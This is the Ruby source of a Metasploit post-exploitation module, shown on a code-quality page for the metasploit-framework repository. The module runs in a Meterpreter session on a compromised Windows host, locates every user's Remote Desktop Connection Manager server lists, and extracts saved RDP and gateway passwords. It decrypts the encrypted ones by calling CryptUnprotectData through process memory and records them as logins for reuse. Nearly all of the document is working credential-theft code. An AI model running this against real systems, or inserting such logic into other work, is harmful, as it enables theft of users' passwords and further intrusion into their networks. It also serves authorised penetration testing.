rapid7/metasploit-framework

View on GitHub
modules/post/windows/gather/credentials/rdc_manager_creds.rb

Summary

Maintainability
C
1 day
Test Coverage
# -*- coding: binary -*-

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rexml/document'

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::UserProfiles
  include Msf::Post::Windows::Priv
  include Msf::Auxiliary::Report
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather Remote Desktop Connection Manager Saved Password Extraction',
        'Description' => %q{
          This module extracts and decrypts saved Microsoft Remote Desktop
          Connection Manager (RDCMan) passwords the .RDG files of users.
          The module will attempt to find the files configured for all users
          on the target system. Passwords for managed hosts are encrypted by
          default.  In order for decryption of these passwords to be successful,
          this module must be executed under the same account as the user which
          originally encrypted the password.  Passwords stored in plain text will
          be captured and documented.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'Tom Sellers <tom[at]fadedcode.net>'],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_stat
              stdapi_railgun_api
              stdapi_sys_config_getuid
              stdapi_sys_process_attach
              stdapi_sys_process_get_processes
              stdapi_sys_process_getpid
              stdapi_sys_process_memory_allocate
              stdapi_sys_process_memory_read
              stdapi_sys_process_memory_write
            ]
          }
        }
      )
    )
  end

  def run
    if is_system?
      uid = session.sys.config.getuid
      print_warning("This module is running under #{uid}.")
      print_warning('Automatic decryption of encrypted passwords will not be possible.')
      print_warning('Migrate to a user process to achieve successful decryption (e.g. explorer.exe).')
    end

    settings_file = 'Microsoft Corporation\\Remote Desktop Connection Manager\RDCMan.settings'
    profiles = grab_user_profiles

    profiles.each do |user|
      next if user['LocalAppData'].nil?

      settings_path = "#{user['LocalAppData']}\\#{settings_file}"
      next unless file?(settings_path)

      print_status("Found settings for #{user['UserName']}.")

      settings = read_file(settings_path)
      connection_files = settings.scan(%r{string&gt;(.*?)&lt;/string})

      connection_files.each do |con_f|
        next unless session.fs.file.exist?(con_f[0])

        print_status("\tOpening RDC Manager server list: #{con_f[0]}")
        connection_data = read_file(con_f[0])
        if connection_data
          parse_connections(connection_data)
        else
          print_error("\tUnable to open RDC Manager server list: #{con_f[0]}")
          next
        end
      end
    end
  end

  def decrypt_password(data)
    session.railgun.add_dll('crypt32') unless session.railgun.get_dll('crypt32')

    pid = client.sys.process.getpid
    process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)

    mem = process.memory.allocate(128)
    process.memory.write(mem, data)

    if session.sys.process.each_process.find { |i| i['pid'] == pid && i['arch'] == 'x86' }
      addr = [mem].pack('V')
      len = [data.length].pack('V')
      ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
      len, addr = ret['pDataOut'].unpack('V2')
    else
      addr = [mem].pack('Q')
      len = [data.length].pack('Q')
      ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
      len, addr = ret['pDataOut'].unpack('Q2')
    end

    return '' if len == 0

    decrypted_pw = process.memory.read(addr, len)
    return decrypted_pw
  end

  def extract_password(object)
    if object.name == 'server'
      logon_creds = object.elements['logonCredentials']
    elsif object.elements['properties'] && object.elements['properties'].elements['logonCredentials']
      logon_creds = object.elements['properties'].elements['logonCredentials']
    else
      return nil, nil, nil
    end

    if logon_creds.attributes['inherit'] == 'None'
      # The credentials are defined directly on the server
      username = logon_creds.elements['userName'].text
      domain = logon_creds.elements['domain'].text
      if logon_creds.elements['password'].attributes['storeAsClearText'] == 'True'
        password = logon_creds.elements['password'].text
      else
        crypted_pass = Rex::Text.decode_base64(logon_creds.elements['password'].text)
        password = decrypt_password(crypted_pass)
        password = Rex::Text.to_ascii(password)
        if password.blank?
          print_warning("\tUnable to decrypt password, try migrating to a process running as the file's owner.")
        end
      end

    elsif logon_creds.attributes['inherit'] == 'FromParent'
      # The credentials are inherited from a parent
      parent = object.parent
      username, password, domain = extract_password(parent)
    end

    return username, password, domain
  end

  def parse_connections(connection_data)
    doc = REXML::Document.new(connection_data)

    # Process all of the server records
    doc.elements.each('//server') do |server|
      svr_name = server.elements['name'].text
      username, password, domain = extract_password(server)
      if server.elements['connectionSettings'].attributes['inherit'] == 'None'
        port = server.elements['connectionSettings'].elements['port'].text
      else
        port = 3389
      end

      print_status("\t\t#{svr_name} \t#{username} #{password} #{domain}")
      register_creds(svr_name, username, password, domain, port) if password || username
    end

    # Process all of the gateway elements, irrespective of server
    doc.elements.each('//gatewaySettings') do |gateway|
      next unless gateway.attributes['inherit'] == 'None'

      svr_name = gateway.elements['hostName'].text
      username = gateway.elements['userName'].text
      domain = gateway.elements['domain'].text

      if gateway.elements['password'].attributes['storeAsClearText'] == 'True'
        password = gateway.elements['password'].text
      else
        crypted_pass = Rex::Text.decode_base64(gateway.elements['password'].text)
        password = decrypt_password(crypted_pass)
        password = Rex::Text.to_ascii(password)
      end

      parent = gateway.parent
      if parent.elements['connectionSettings'].attributes['inherit'] == 'None'
        port = parent.elements['connectionSettings'].elements['port'].text
      else
        port = 3389
      end

      print_status("\t\t#{svr_name} \t#{username} #{password} #{domain}")
      register_creds(svr_name, username, password, domain, port) if password || username
    end
  end

  def register_creds(host_ip, user, pass, realm, port)
    # Note that entries added by hostname instead of IP will not
    # generate complete records.  See discussion here:
    # https://github.com/rapid7/metasploit-framework/pull/3599#issuecomment-51710319

    # Build service information
    service_data = {
      address: host_ip,
      port: port,
      service_name: 'rdp',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    # Build credential information
    credential_data = {
      origin_type: :session,
      session_id: session_db_id,
      post_reference_name: refname,
      private_data: pass,
      private_type: :password,
      username: user,
      realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
      realm_value: realm,
      workspace_id: myworkspace_id
    }

    credential_data.merge!(service_data)
    credential_core = create_credential(credential_data)

    # Assemble the options hash for creating the Metasploit::Credential::Login object
    login_data = {
      core: credential_core,
      status: Metasploit::Model::Login::Status::UNTRIED,
      workspace_id: myworkspace_id
    }

    login_data.merge!(service_data)
    create_credential_login(login_data)
  end
end